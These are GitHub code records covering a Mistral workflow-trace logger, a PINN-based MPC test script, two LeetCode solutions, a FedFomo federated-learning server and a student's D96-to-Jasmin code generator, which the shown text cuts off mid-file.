{"seq_id":"4931677768","text":"from oslo_config import cfg\nfrom oslo_log import log as logging\n\nfrom mistral.db.v2.sqlalchemy import models\n\ncfg.CONF.import_opt('workflow_trace_log_name', 'mistral.config')\n\nWF_TRACE = logging.getLogger(cfg.CONF.workflow_trace_log_name)\n\n\ndef info(obj, msg, *args, **kvargs):\n    \"\"\"Logs workflow trace record for Execution or Task.\n\n    :param obj: If type is TaskExecution or WorkflowExecution,\n        appends execution_id and task_id to the log message.\n\n    The rest of parameters follow logger.info(...)\n    \"\"\"\n    debug_info = ''\n\n    if type(obj) is models.TaskExecution:\n        exec_id = obj.workflow_execution_id\n        task_id = obj.id\n        debug_info = '(wf_ex_id=%s, task_ex_id=%s)' % (exec_id, task_id)\n\n    elif type(obj) is models.WorkflowExecution:\n        debug_info = '(execution_id=%s,' \\\n                     'task_ex_id=%s)' % (obj.id, obj.task_execution_id)\n\n    if debug_info:\n        msg = '%s %s' % (msg, debug_info)\n\n    WF_TRACE.info(msg, *args, **kvargs)\n","repo_name":"openstack/mistral","sub_path":"mistral/utils/wf_trace.py","file_name":"wf_trace.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"47"}
{"seq_id":"6163229555","text":"import logging\nimport os\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom controller.mpc import MPC\nfrom train_pinn import ManipulatorInformedNN\nfrom utils.data import load_ref_trajectory, load_data\nfrom utils.plotting import plot_input_sequence, plot_states, plot_absolute_error, animate\nfrom utils.system import f\n\nif __name__ == \"__main__\":\n    logging.getLogger().setLevel(logging.INFO)\n    logging.getLogger('matplotlib').setLevel(logging.WARNING)\n\n    logging.info(\"TensorFlow version: {}\".format(tf.version.VERSION))\n    logging.info(\"Eager execution: {}\".format(tf.executing_eagerly()))\n\n    # Paths\n    resources_path = os.path.join('../resources')\n    data_path = os.path.join(resources_path, 'data.npz')\n    weights_path = os.path.join('../resources/weights')\n\n    lb, ub, input_dim, output_dim, _, _, _, _ = load_data(data_path)\n\n    # Hyper parameter\n    N_l = 4\n    N_n = 64\n    layers = [input_dim, *N_l * [N_n], output_dim]\n\n    logging.info('MPC parameters:')\n    H = 5\n    logging.info(f'\\tH:\\t{H}')\n    u_ub = np.array([0.5, 0.5])\n    u_lb = - u_ub\n\n    X_ref, T_ref = load_ref_trajectory(resources_path)\n\n    x0 = X_ref[0]\n    T_ref = T_ref[:-H, 0]\n\n    tau = T_ref[1] - T_ref[0]\n    logging.info(f'\\ttau:\\t{tau}')\n\n    # Initialization\n    pinn = ManipulatorInformedNN(layers, lb, ub)\n    # Load pretrained weights\n    pinn.load_weights(weights_path)\n\n    controller = MPC(f, pinn.model, u_ub=u_ub, u_lb=u_lb,\n                     t_sample=tau, H=H,\n                     Q=tf.linalg.tensor_diag(tf.constant([1, 1, 0, 0], dtype=tf.float64)),\n                     R=1e-6 * tf.eye(2, dtype=tf.float64))\n\n    # Testing self loop prediction\n    H_sl = 20\n\n    # Generate self loop prediction input sequence\n    U1_sl = 0.5 * np.sin(np.linspace(0, 2 * np.pi, H_sl))\n    U2_sl = - U1_sl\n    U_sl = np.hstack((U1_sl[:, np.newaxis], U2_sl[:, np.newaxis]))\n\n    # Initial state\n    x0_sl = np.zeros(4)\n\n    # Simulate plant system\n    X_ref_sl = controller.sim_open_loop_plant(x0_sl, U_sl,\n                                              t_sample=tau,\n                                              H=H_sl)\n\n    # Simulate PINN system\n    X_sl = controller.sim_open_loop(x0_sl, U_sl,\n                                    t_sample=tau,\n                                    H=H_sl)\n\n    T_sl = np.arange(0., H_sl * tau + tau, tau)\n    plot_input_sequence(T_sl, U=np.vstack((U_sl, U_sl[-1:, :])))\n    plot_states(T_sl, X_ref_sl, X_sl)\n    plot_absolute_error(T_sl, X_ref_sl, X_sl)\n\n    # Testing closed loop\n    X_mpc, U_mpc, X_pred = controller.sim(x0, X_ref, T_ref)\n\n    plot_input_sequence(T_ref, U_mpc)\n    plot_states(T_ref, X_ref[:-H], Z_mpc=X_mpc)\n    plot_absolute_error(T_ref, X_ref[:-H], Z_mpc=X_mpc)\n    animate(X_ref[:-H], [X_mpc], ['MPC'], fps=1 / tau)\n","repo_name":"Jonas-Nicodemus/PINNs-based-MPC","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"47"}
{"seq_id":"73333287502","text":"class Solution:\n    def isMajorityElement(self, nums: List[int], target: int) -> bool:\n        left, right = 0, len(nums) - 1\n        while left <= right:\n            mid = left + (right - left) // 2\n            \n            if nums[mid] >= target:\n                right = mid - 1\n            else:\n                left = mid + 1\n        return left + len(nums) // 2 < len(nums) and target == nums[left + len(nums) // 2]","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"1150-check-if-a-number-is-majority-element-in-a-sorted-array/1150-check-if-a-number-is-majority-element-in-a-sorted-array.py","file_name":"1150-check-if-a-number-is-majority-element-in-a-sorted-array.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40244488676","text":"from argparse import ArgumentParser, Namespace\nfrom copy import deepcopy\n\nimport torch\n\nfrom fedavg import FedAvgServer, get_fedavg_argparser\nfrom src.client.fedfomo import FedFomoClient\n\n\ndef get_fedfomo_argparser() -> ArgumentParser:\n    parser = get_fedavg_argparser()\n    parser.add_argument(\"--M\", type=int, default=5)\n    parser.add_argument(\"--valset_ratio\", type=float, default=0.2)\n    return parser\n\n\nclass FedFomoServer(FedAvgServer):\n    def __init__(\n        self,\n        algo: str = \"FedFomo\",\n        args: Namespace = None,\n        unique_model=True,\n        default_trainer=False,\n    ):\n        if args is None:\n            args = get_fedfomo_argparser().parse_args()\n        super().__init__(algo, args, unique_model, default_trainer)\n        self.trainer = FedFomoClient(\n            deepcopy(self.model), self.args, self.logger, self.device, self.client_num\n        )\n        self.P = torch.eye(self.client_num, device=self.device)\n\n    def train_one_round(self):\n        client_params_cache = []\n        for client_id in self.selected_clients:\n            selected_params = self.generate_client_params(client_id)\n\n            (\n                client_params,\n                weight_vector,\n                self.client_stats[client_id][self.current_epoch],\n            ) = self.trainer.train(\n                client_id=client_id,\n                local_epoch=self.clients_local_epoch[client_id],\n                received_params=selected_params,\n                verbose=((self.current_epoch + 1) % self.args.verbose_gap) == 0,\n            )\n\n            client_params_cache.append(client_params)\n            self.P[client_id] += weight_vector\n\n        self.update_client_params(client_params_cache)\n\n    @torch.no_grad()\n    def generate_client_params(self, client_id):\n        prev_round_clients = self.client_sample_stream[self.current_epoch - 1]\n        selected_params = {}\n        if not self.test_flag and self.current_epoch > 0:\n            selected_params = {\n                prev_round_clients[i]: self.client_trainable_params[\n                    prev_round_clients[i]\n                ]\n                for i in torch.topk(\n                    self.P[client_id][prev_round_clients], self.args.M\n                ).indices.tolist()\n            }\n        selected_params[client_id] = self.client_trainable_params[client_id]\n        return selected_params\n\n\nif __name__ == \"__main__\":\n    server = FedFomoServer()\n    server.run()\n","repo_name":"KarhouTam/FL-bench","sub_path":"src/server/fedfomo.py","file_name":"fedfomo.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"47"}
{"seq_id":"70022562382","text":"###\n# Solution: dp with state compression\n# we consider the opposite problem, how to choose K column to make the row contains 1 minimum\n# let f(S, k) represents if we can select k column to reach the 1 state to be S (a binary base representation,\n# for example, 01001 denotes the second-row and fifth-row contains 1, but another three rows donot.\n# then in the t-th iteration (t is the column number, s_t is the t-th column's state representation),\n# f(S|s_t, k) is true if f(S, k-1) or f(S|s_t, k) is true\n###\n\nfrom typing import List\nclass Solution:\n    def lowbit(self, n):\n        return n & (-n)\n\n    def one_nums(self, n):\n        _sum = 0\n        while n > 0:\n            n -= self.lowbit(n)\n            _sum += 1\n        return _sum\n\n\n    def maximumRows(self, mat: List[List[int]], cols: int) -> int:\n        m, n = len(mat), len(mat[0])\n        k = n - cols\n        SSIZE = 1 << m\n        fs = [[False for _ in range(k+1)] for __ in range(SSIZE)]\n        fs[0][0] = True\n        statuss = []\n        for j in range(n):\n            _status = 0\n            for i in range(m):\n                _status = _status * 2 + mat[i][j]\n            statuss.append(_status)\n\n        for _status in statuss:\n            for j in range(k-1, -1, -1):\n                for i in range(SSIZE):\n                    if fs[i][j]:\n                        fs[i | _status][j+1] = True\n\n        min_ones = m\n        for i in range(SSIZE):\n            if fs[i][k]:\n                min_ones = min(min_ones, self.one_nums(i))\n        return m - min_ones\n\nmat = [[0,0,0],[1,0,1],[0,1,1],[0,0,1]]\ncols = 2\nprint(Solution().maximumRows(mat, cols))","repo_name":"chuzhumin98/PythonForMillions","sub_path":"LeetCode/6173-dp.py","file_name":"6173-dp.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"23782291154","text":"\"\"\"\n    @author: Vo Nguyen Thien Nhan\n\"\"\"\n\n## REMEMBER TO COMMENT 3 LINES BEFORE SUBMIT ##\nfrom ast import expr\nfrom main.d96.utils.AST import *\nfrom main.d96.checker.StaticCheck import *\nfrom main.d96.checker.StaticError import *\n## REMEMBER TO COMMENT 3 LINES BEFORE SUBMIT ##\n\nfrom Emitter import Emitter\nfrom Frame import Frame\nfrom abc import ABC, abstractmethod\nfrom CodeGenError import *\n\nclass Attribute:\n    def __init__(self, name, type, is_static, init_value=None):\n        self.name = name\n        self.type = type\n        self.is_static = is_static\n        self.init_value = init_value\n\nclass Method:\n    def __init__(self, name, type, is_static):\n        self.name = name\n        self.type = type\n        self.is_static = is_static\n\nclass Local:\n    def __init__(self, name, type, index):\n        self.name = name\n        self.type = type\n        self.index = index\n\nclass Enviroment:\n    def __init__(self, global_env={}, local_env=[{}]):\n        self.global_env = global_env\n        self.local_env = local_env\n\n    def visit_class(self, class_name):\n        self.global_env[class_name] = ComponentClass()\n\n    def visit_scope(self):\n        self.local_env = [{}] + \\\n            self.local_env if self.local_env is not None else [{}]\n\n    def exit_scope(self):\n        self.local_env.pop(0)\n\n    def add_local(self, local_id, local_type):\n        self.local_env[0][local_id] = local_type\n\n    def add_attribute(self, class_name, attribute_name, attribute_type):\n        return self.global_env[class_name].add_attribute(\n            attribute_name, attribute_type\n        )\n\n    def add_method(self, class_name, method_name, method_type):\n        return self.global_env[class_name].add_method(method_name, method_type)\n\n    def lookup_local(self, id):\n        for local_scope in self.local_env:\n            if id in local_scope:\n                return local_scope[id]\n        return None\n\n    def lookup_attribute(self, class_name, attribute_name):\n        return self.global_env[class_name].lookup_attribute(attribute_name)\n\n    def lookup_method(self, class_name, method_name):\n        return self.global_env[class_name].lookup_method(method_name)\n\n    def copy(self):\n        return Enviroment(self.global_env, self.local_env.copy())\n\n\nclass ComponentClass:\n    def __init__(self, attribute={}, method={}):\n        self.attribute = attribute\n        self.method = method\n\n    def add_attribute(self, attribute_name, attribute_type):\n        self.attribute[attribute_name] = attribute_type\n\n    def lookup_attribute(self, attribute_name):\n        if attribute_name in self.attribute:\n            return self.attribute[attribute_name]\n        return None\n    \n    def add_method(self, method_name, method_type):\n        self.method[method_name] = method_type\n\n    def lookup_method(self, method_name):\n        if method_name in self.method:\n            return self.method[method_name]\n        return None\n\nclass MType:\n    def __init__(self, partype, rettype):\n        self.partype = partype\n        self.rettype = rettype\n\nclass SubBody:\n    def __init__(self, frame, env):\n        self.frame = frame\n        self.env = env\n\nclass Access:\n    def __init__(self, frame, env, is_left, is_first):\n        self.frame = frame\n        self.env = env\n        self.is_left = is_left\n        self.is_first = is_first\n\nclass Val(ABC):\n    pass\n\nclass Index(Val):\n    def __init__(self, value):\n        # value: Int\n        self.value = value\n\n\n# class Class_name(Val):\n#     def __init__(self, value, si_kind=None):\n#         # value: String\n#         self.value = value\n#         self.si_kind = si_kind\n\n\nclass CodeGenerator:\n    \n    def __init__(self):\n        self.lib_name = \"io\"\n\n    def init(self):\n        global_env = {\n            self.lib_name: ComponentClass(\n                {},\n                {\n                    \"getInt\":       Method(\"getInt\", MType([], IntType()), True),\n                    \"putInt\":       Method(\"putInt\", MType([IntType()], VoidType()), True),\n                    \"putIntLn\":     Method(\"putIntLn\", MType([IntType()], VoidType()), True),\n                    \"getBool\":      Method(\"getBool\", MType([], BoolType()), True),\n                    \"putBool\":      Method(\"putBool\", MType([BoolType()], VoidType()), True),\n                    \"putBoolLn\":    Method(\"putBoolLn\", MType([BoolType()], VoidType()), True),\n                    \"putString\":    Method(\"putString\", MType([StringType()], VoidType()), True),\n                    \"putStringLn\":  Method(\"putStringLn\", MType([StringType()], VoidType()), True),\n                    \"getFloat\":     Method(\"getFloat\", MType([], FloatType()), True),\n                    \"putFloat\":     Method(\"putFloat\", MType([FloatType()], VoidType()), True),\n                    \"putFloatLn\":   Method(\"putFloatLn\", MType([FloatType()], VoidType()), True),\n                    \"putLn\":        Method(\"putLn\", MType([], VoidType()), True),\n                },\n            )\n        }\n        return Enviroment(global_env, None)\n\n    def gen(self, ast, dir_):\n        # ast: AST\n        # dir_: String\n        env = self.init()\n        global_codegen = CodeGenVisitor(ast, env, dir_)\n        global_codegen.visit(ast, None)\n\n\nclass CodeGenVisitor(BaseVisitor):\n    def __init__(self, ast, env, dir_):\n        self.ast = ast\n        self.env = env\n        self.path = dir_\n        self.current_class = None\n        self.parent_class = None\n        self.instance_attr_list = None\n        self.static_attr_list = None\n        self.current_method = None      # for return type\n        self.emit = None\n\n    def visitProgram(self, ast, o):\n        for each_class in ast.decl:\n            self.visit(each_class, self.env)\n\n    def visitClassDecl(self, ast, o):\n        classname = ast.classname.name\n        memList = ast.memlist\n        parentname = ast.parentname.name if ast.parentname else \"java/lang/Object\"\n        \n        o.visit_class(classname)\n        self.current_class = classname\n        self.parent_class = parentname\n        self.instance_attr_list = []\n        self.static_attr_list = []\n        self.emit = Emitter(self.path + \"/\" + self.current_class + \".j\")\n        \n        self.emit.printout(self.emit.emitPROLOG(classname, parentname))\n        \n        # get attributes and methods\n        constructor = None\n        check_default_constructor = False\n        attr_list = []\n        method_list = []\n        for mem in memList:\n            if isinstance(mem, AttributeDecl):\n                attr_list += [mem]\n            if isinstance(mem, MethodDecl):\n                if mem.name.name == 'Constructor':\n                    constructor = mem\n                    if len(mem.param) == 0:     check_default_constructor = True\n                else:\n                    method_list += [mem]\n        \n        # visit attributes\n        for each_attr in attr_list:\n            self.visit(each_attr, o)\n            \n        # visit constructor\n        if constructor:\n            self.visit(constructor, o)\n        if check_default_constructor == False:\n            o.visit_scope()\n            frame = Frame(\"<init>\", VoidType())\n            self.gen_method(\n                MethodDecl(Instance(), Id(\"<init>\"), [], Block([])),\n                SubBody(frame, o),\n                frame,\n            )\n        o.exit_scope()\n        o.visit_scope()\n        frame = Frame(\"<clinit>\", VoidType())\n        self.gen_method(\n            MethodDecl(Static(), Id(\"<clinit>\"), [], Block([])),\n            SubBody(frame, o),\n            frame,\n        )\n        o.exit_scope()\n        \n        # visit methods\n        for each_method in method_list:\n            self.visit(each_method, o)\n            \n        self.emit.emitEPILOG()\n\n    def visitAttributeDecl(self, ast, o):\n        kind = ast.kind\n        decl = ast.decl\n        \n        name, type_data, init_value = None, None, None\n        check_static = True if isinstance(kind, Static) else False\n        check_constant = False\n        if isinstance(decl, VarDecl):\n            name, type_data, init_value = decl.variable.name, decl.varType, decl.varInit if decl.varInit else None\n        else:\n            name, type_data, init_value = decl.constant.name, decl.constType, decl.value if decl.value else None\n            check_constant = True\n            \n        if check_static:\n            self.emit.printout(self.emit.emitSTATIC(name, type_data, check_constant, init_value))\n        else:\n            self.emit.printout(self.emit.emitINSTANCE(name, type_data, check_constant, init_value))\n        \n        new_attr = Attribute(name, type_data, check_static, init_value)\n        self.static_attr_list.append(new_attr) if check_static else self.instance_attr_list.append(new_attr)\n        o.add_attribute(self.current_class, name, new_attr)\n\n    def visitMethodDecl(self, ast, o):\n        kind = ast.kind\n        name = ast.name.name\n        params = ast.param\n        \n        if name == 'Constructor':\n            ast.name.name = '<init>'\n            name = '<init>'\n        check_static = True if isinstance(kind, Static) else False\n        frame = Frame(name, None)\n        o.visit_scope()\n        self.gen_method(ast, SubBody(frame, o), frame)\n        o.add_method(self.current_class, name, Method(name, MType([para.varType for para in params], self.current_method), check_static))\n        o.exit_scope()\n\n    def gen_method(self, method_ast, o, frame):\n        kind = method_ast.kind\n        name = method_ast.name.name\n        params = method_ast.param\n        body = method_ast.body\n        \n        self.current_method = None\n        code = \"\"\n        check_main = True if (name == 'main' and len(params) == 0) else False\n        check_static = True if (isinstance(kind, Static) or check_main) else False\n        par_type = [ArrayType(0, StringType())] if check_main else [para.varType for para in params]\n        \n        frame.enterScope(True)\n        # generate variable for method\n        if name == '<init>' or not check_static:\n            idx = frame.getNewIndex()\n            code += self.emit.emitVAR(idx, \"this\", ClassType(Id(self.current_class)), frame.getStartLabel(), frame.getEndLabel(), frame)\n        elif check_main:\n            idx = frame.getNewIndex()\n            code += self.emit.emitVAR(idx, \"args\", ArrayType(0, StringType()), frame.getStartLabel(), frame.getEndLabel(), frame)\n        # visit parameters\n        for para in params:\n            code += self.visit(para, o)\n        # label of method\n        code += self.emit.emitLABEL(frame.getStartLabel(), frame)\n        if name == '<init>':\n            code += self.emit.emitTHIS(frame)\n            code += self.emit.emitINVOKESPECIAL(frame, self.parent_class + \"/<init>\", MType([], VoidType()))\n            for each_attr in self.instance_attr_list:\n                if each_attr.init_value is None:\n                    continue\n                code += self.emit.emitTHIS(frame)\n                init_code, init_type = self.visit(each_attr.init_value, Access(frame, self.env, False, False))\n                if isinstance(each_attr.type, FloatType) and isinstance(init_type, IntType): \n                    init_code += self.emit.emitI2F(o.frame)\n                code += init_code\n                code += self.emit.emitPUTFIELD(self.current_class + \".\" + each_attr.name, each_attr.type, frame)\n        elif name == \"<clinit>\":\n            for each_attr in self.static_attr_list:\n                if each_attr.init_value is None:\n                    continue\n                init_code, init_type = self.visit(each_attr.init_value, Access(frame, self.env, False, False)) \n                if isinstance(each_attr.type, FloatType) and isinstance(init_type, IntType): \n                    init_code += self.emit.emitI2F(o.frame)\n                code += init_code\n                code += self.emit.emitPUTSTATIC(self.current_class + \".\" + each_attr.name, each_attr.type, frame)\n        # visit body method\n        for inst in body.inst:\n            code += self.visit(inst, o)\n        if self.current_method is None:\n            self.current_method = VoidType()\n        # generate label of method after know return type\n        mtype = MType(par_type, self.current_method)\n        code = self.emit.emitMETHOD(name, mtype, check_static, frame) + code\n        code += self.emit.emitLABEL(frame.getEndLabel(), frame)\n        # generate end method\n        if isinstance(self.current_method, VoidType):\n            code += self.emit.emitRETURN(VoidType(), frame)\n        code += self.emit.emitENDMETHOD(frame)\n        self.emit.printout(code)\n        frame.exitScope()\n        \n    def visitVarDecl(self, ast, o):\n        idx = o.frame.getNewIndex()\n        o.env.add_local(ast.variable.name, Local(ast.variable.name, ast.varType, idx))\n        code = \"\"\n        code += self.emit.emitVAR(idx, ast.variable.name, ast.varType, o.frame.getStartLabel(), o.frame.getEndLabel(), o.frame)\n        code += self.visit(Assign(ast.variable, ast.varInit), o) if ast.varInit else \"\"\n        return code\n        \n    def visitConstDecl(self, ast, o):\n        idx = o.frame.getNewIndex()\n        o.env.add_local(ast.constant.name, Local(ast.constant.name, ast.constType, idx))\n        code = \"\"\n        code += self.emit.emitVAR(idx, ast.constant.name, ast.constType, o.frame.getStartLabel(), o.frame.getEndLabel(), o.frame)\n        code += self.visit(Assign(ast.constant, ast.value), o) if ast.value else \"\"\n        return code\n        \n    def visitUnaryOp(self, ast, o):\n        code, type_data = self.visit(ast.body, o)\n        if ast.op == \"-\":   return code + self.emit.emitNEGOP(type_data, o.frame), type_data\n        return code + self.emit.emitNOT(type_data, o.frame), type_data\n\n    def visitBinaryOp(self, ast, o):\n        op = ast.op\n        left_code, left_type = self.visit(ast.left, o)\n        right_code, right_type = self.visit(ast.right, o)\n        ret_type = left_type\n        if isinstance(left_type, FloatType) or isinstance(right_type, FloatType) or op == \"/\":\n            ret_type = FloatType()\n            if isinstance(left_type, IntType):      left_code += self.emit.emitI2F(o.frame)\n            if isinstance(right_type, IntType):     right_code += self.emit.emitI2F(o.frame)\n        if op in [\"+\", \"-\"]:\n            return left_code + right_code + self.emit.emitADDOP(op, ret_type, o.frame), ret_type\n        if op in [\"*\", \"/\"]:\n            return left_code + right_code + self.emit.emitMULOP(op, ret_type, o.frame), ret_type\n        if op == \"%\":\n            return left_code + right_code + self.emit.emitMOD(o.frame), ret_type\n        if op == \"&&\":\n            return left_code + right_code + self.emit.emitANDOP(o.frame), ret_type\n        if op == \"||\":\n            return left_code + right_code + self.emit.emitOROP(o.frame), ret_type\n        if op in [\">\", \">=\", \"<\", \"<=\", \"!=\", \"==\", \"==.\"]:\n            return left_code + right_code + self.emit.emitREOP(op, ret_type, o.frame), BoolType()\n        if op == \"+.\":\n            return left_code + right_code + self.emit.emitINVOKEVIRTUAL(\"java/lang/String/concat\", MType([StringType()], StringType()), o.frame), StringType()\n\n    def visitNewExpr(self, ast, o):\n        code = \"\"\n        classname = ast.classname.name\n        params = ast.param\n        \n        code += self.emit.emitNEW(classname, params, o.frame)\n        code += self.emit.emitDUP(o.frame)\n\n        # default constructor\n        if len(params) == 0:\n            code += self.emit.emitINVOKESPECIAL(o.frame, classname + \"/<init>\", MType([], VoidType()))\n            return code, ClassType(classname)\n        \n        # constructor with params\n        init = o.env.lookup_method(classname, \"<init>\")\n        \n        if init is None:\n            raise IllegalRuntimeException(\"Cannot find <init>!\")\n        \n        for i in range(len(params)):\n            arg_code, arg_type = self.visit(ast.param[i], o)\n            code += arg_code\n            if isinstance(arg_type, IntType) and isinstance(init.type.partype[i], FloatType):\n                code += self.emit.emitI2F(o.frame)\n                \n        code += self.emit.emitINVOKESPECIAL(o.frame, classname + \"/<init>\", init.type)\n        return code, ClassType(classname)\n\n    def visitAssign(self, ast, o):\n        left = ast.lhs\n        exp = ast.exp\n        \n        if isinstance(left, FieldAccess):\n            return self.visit(left, (Access(o.frame, o.env, True, True), exp))[0]\n\n        if isinstance(left, ArrayCell):\n            return self.visit(left, (Access(o.frame, o.env, True, True), exp))[0]\n        \n        right_code, right_type = self.visit(exp, Access(o.frame, o.env, False, True))\n        left_code, left_type = self.visit(left, Access(o.frame, o.env, True, True))\n        code = right_code\n        if isinstance(right_type, IntType) and isinstance(left_type, FloatType):\n            code += self.emit.emitI2F(o.frame)\n        return code + left_code\n\n    def visitFieldAccess(self, ast, o):\n        obj = ast.obj\n        fieldname = ast.fieldname.name\n        \n        value = None\n        if type(o) is tuple:\n            value = o[1]\n            o = o[0]\n            \n        code = \"\"\n        class_name = None\n        obj_code, obj_type = self.visit(obj, Access(o.frame, o.env, False, False))\n        if obj_code is None or obj_type is None:  \n            class_name = ast.obj.name\n        else:\n            class_name = obj_type.classname.name  \n        \n        attr = o.env.lookup_attribute(class_name, ast.fieldname.name)\n\n        if attr is None:\n            raise IllegalRuntimeException(\"Cannot find attribute!\")\n\n        if o.is_left and o.is_first:  # write\n            value_code, value_type = self.visit(value, Access(o.frame, o.env, False, True))\n            if attr.is_static:\n                code = value_code + self.emit.emitPUTSTATIC(class_name + \"/\" + fieldname, attr.type, o.frame)\n            else:\n                code = obj_code + value_code + self.emit.emitPUTFIELD(class_name + \"/\" + fieldname, attr.type, o.frame)\n        else:   # read\n            if attr.is_static:\n                code = self.emit.emitGETSTATIC(class_name + \"/\" + fieldname, attr.type, o.frame)\n            else:\n                code = obj_code + self.emit.emitGETFIELD(class_name + \"/\" + fieldname, attr.type, o.frame)\n        return code, attr.type\n\n    def visitArrayCell(self, ast, o):\n        arr = ast.arr\n        idx_list = ast.idx\n        \n        code = \"\"\n        value = None\n        if type(o) is tuple:\n            value = o[1]\n            o = o[0]\n            \n        code, arr_type = self.visit(arr, Access(o.frame, o.env, False, True))\n        arr_type = arr_type.eleType\n        for i in range(len(idx_list) - 1):\n            idx_code, idx_type = self.visit(idx_list[i], Access(o.frame, o.env, False, True))\n            code += idx_code\n            code += self.emit.emitALOAD(arr_type, o.frame)\n            arr_type = arr_type.eleType\n        # last ele\n        idx_code, idx_type = self.visit(idx_list[-1], Access(o.frame, o.env, False, True))\n        if o.is_left:\n            value_code, value_type = self.visit(value, Access(o.frame, o.env, False, True))\n            code += idx_code + value_code + self.emit.emitASTORE(arr_type, o.frame)\n        else:\n            code += idx_code + self.emit.emitALOAD(arr_type, o.frame)\n        return code, arr_type\n        \n    def visitBlock(self, ast, o):\n        o.env.visit_scope()\n        code = \"\"\n        for inst in ast.inst:\n            code += self.visit(inst, o)\n        o.env.exit_scope()\n        return code\n\n    def visitIf(self, ast, o):\n        code = \"\"\n        expr_code, expr_type = self.visit(ast.expr, Access(o.frame, o.env, False, True))\n        code += expr_code\n        exit_label = o.frame.getNewLabel()\n        false_label = o.frame.getNewLabel()\n        code += self.emit.emitIFFALSE(false_label, o.frame)\n        code += self.visit(ast.thenStmt, o)\n        code += self.emit.emitGOTO(exit_label, o)\n        code += self.emit.emitLABEL(false_label, o.frame)\n        code += (self.visit(ast.elseStmt, o) if ast.elseStmt else \"\")\n        code += self.emit.emitLABEL(exit_label, o.frame)\n        return code\n        \n    def visitFor(self, ast, o):\n        code = \"\"\n        if ast.expr3 is None:\n            ast.expr3 = IntLiteral(1)\n        expr1_code, _ = self.visit(\n            ast.expr1, Access(o.frame, o.env, False, True))\n        expr2_code, _ = self.visit(\n            ast.expr2, Access(o.frame, o.env, False, True))\n        expr3_code, _ = self.visit(\n            ast.expr3, Access(o.frame, o.env, False, True))\n        id_write_code, _ = self.visit(ast.id, Access(\n            o.frame, o.env, True, True))  # Write code\n        id_read_code, _ = self.visit(ast.id, Access(\n            o.frame, o.env, False, True))  # Read code\n        # Virtual stack size at here is 3: exp1, exp2, exp3\n\n        label_start_loop = o.frame.getNewLabel()\n        label_check_condition_down = o.frame.getNewLabel()\n        label_loop_body = o.frame.getNewLabel()\n        label_update_down = o.frame.getNewLabel()\n        # Assign init value for scalar variable:\n        code += expr1_code\n        code += id_write_code\n\n        o.frame.enterLoop()\n        # Check condition\n        # Check down or up\n        code += self.emit.emitLABEL(label_start_loop, o.frame)\n        code += expr1_code\n        code += expr2_code\n        code += self.emit.emitREOP(\">\", IntType(), o.frame)  # Loop down\n        code += self.emit.emitIFTRUE(label_check_condition_down, o.frame)\n\n        # Condition for loop up\n        code += id_read_code\n        code += expr2_code\n        code += self.emit.emitREOP(\">\", IntType(), o.frame)\n        o.frame.push()\n        code += self.emit.emitIFTRUE(o.frame.getBreakLabel(), o.frame)\n        code += self.emit.emitGOTO(label_loop_body, o.frame)\n\n        # Condition for loop down\n        code += self.emit.emitLABEL(label_check_condition_down, o.frame)\n        code += id_read_code\n        code += expr2_code\n        o.frame.push()\n        o.frame.push()\n        code += self.emit.emitREOP(\"<\", IntType(), o.frame)\n        code += self.emit.emitIFTRUE(o.frame.getBreakLabel(), o.frame)\n\n        # Loop body\n        code += self.emit.emitLABEL(label_loop_body, o.frame)\n        code += self.visit(ast.loop, o)\n\n        code += self.emit.emitLABEL(o.frame.getContinueLabel(), o.frame)\n\n        # Update scalar variable\n        # Check update is up or down\n        code += expr1_code\n        code += expr2_code\n        o.frame.push()\n        o.frame.push()\n        code += self.emit.emitREOP(\">\", IntType(), o.frame)  # Loop down\n        code += self.emit.emitIFTRUE(label_update_down, o.frame)\n\n        # Update up\n        code += id_read_code\n        code += expr3_code\n        o.frame.push()\n        code += self.emit.emitADDOP(\"+\", IntType(), o.frame)\n        code += id_write_code\n        code += self.emit.emitGOTO(label_start_loop, o.frame)\n\n        # Update down\n        code += self.emit.emitLABEL(label_update_down, o.frame)\n        code += id_read_code\n        code += expr3_code\n        o.frame.push()\n        code += self.emit.emitADDOP(\"-\", IntType(), o.frame)\n        code += id_write_code\n        code += self.emit.emitGOTO(label_start_loop, o.frame)\n        code += self.emit.emitLABEL(o.frame.getBreakLabel(), o.frame)\n        o.frame.exitLoop()\n        return code\n\n    def visitBreak(self, ast, o):\n        return self.emit.emitGOTO(o.frame.getBreakLabel(), o.frame)\n\n    def visitContinue(self, ast, o):\n        return self.emit.emitGOTO(o.frame.getContinueLabel(), o.frame)\n\n    def visitReturn(self, ast, o):\n        code = \"\"\n        expr_code, expr_type = (self.visit(ast.expr, Access(o.frame, o.env, False, True)) if ast.expr else (\"\", VoidType()))\n        code += expr_code\n        code += self.emit.emitRETURN(expr_type, o.frame)\n        self.current_method = expr_type if self.current_method is None else self.current_method\n        return code\n\n    def visitCallExpr(self, ast, o):\n        code = \"\"\n        obj = ast.obj\n        method_name = ast.method.name\n        params = ast.param\n        \n        class_name = None\n        obj_code, obj_type = self.visit(obj, o)\n\n        if obj_code is None or obj_type is None:  \n            class_name = obj.name\n        else:\n            class_name = obj_type.classname.name \n\n        # Find method\n        method = o.env.lookup_method(class_name, method_name)       # type of method is MType\n        if method is None:\n            raise IllegalRuntimeException(\"Cannot find method!\")\n\n        for i in range(len(params)):\n            arg_code, arg_type = self.visit(params[i], Access(o.frame, o.env, False, True))\n            code += arg_code\n            if isinstance(arg_type, IntType) and isinstance(method.type.partype[i], FloatType):\n                code += self.emit.emitI2F(o.frame)\n        \n        if method.is_static:\n            code += self.emit.emitINVOKESTATIC(class_name + \"/\" + method_name, method.type, o.frame)\n        else:\n            code = obj_code + code + self.emit.emitINVOKEVIRTUAL(class_name + \"/\" + method_name, method.type, o.frame)\n        return code, method.type.rettype\n        \n    def visitCallStmt(self, ast, o):\n        code = \"\"\n        obj = ast.obj\n        method_name = ast.method.name\n        params = ast.param\n        \n        class_name = None\n        obj_code, 